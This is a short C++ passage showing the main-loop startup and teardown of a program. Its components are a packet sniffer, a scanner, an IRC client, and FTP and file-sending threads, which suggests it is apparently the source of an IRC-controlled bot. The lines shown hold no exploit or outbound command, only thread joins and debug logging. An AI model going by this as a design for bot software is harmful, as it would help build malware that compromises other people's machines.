m_cSniffer.Start(false, true); // Initialize scanner after autostart/thread initialization to be able to use CIRC m_cScanner.Init(); // Start the main loop #ifdef DBGCONSOLE m_cConsDbg.Log(7, "Starting the main loop...\n"); #endif // DBGCONSOLE int iRetVal=MainCtrl(); m_bRunning=false; // Deactivate sockets g_bSocketsRunning=false; m_cSniffer.Join(); m_cSendFileFTP.Join(); m_cSendFile.Join(); m_cIRC.Join(); m_cStartupThread.Join(); m_cService.Join(); #ifdef DBGCONSOLE m_cConsDbg.Log(7, "Terminated the main loop...\n"); #endif // DBGCONSOLE // Deactivate debugging console if(m_cCmdLine.m_cConfig.bDebug) { #ifdef WIN32 // system("pause"); #endif // WIN32 m_cConsDbg.DeInit(); } return iRetVal; }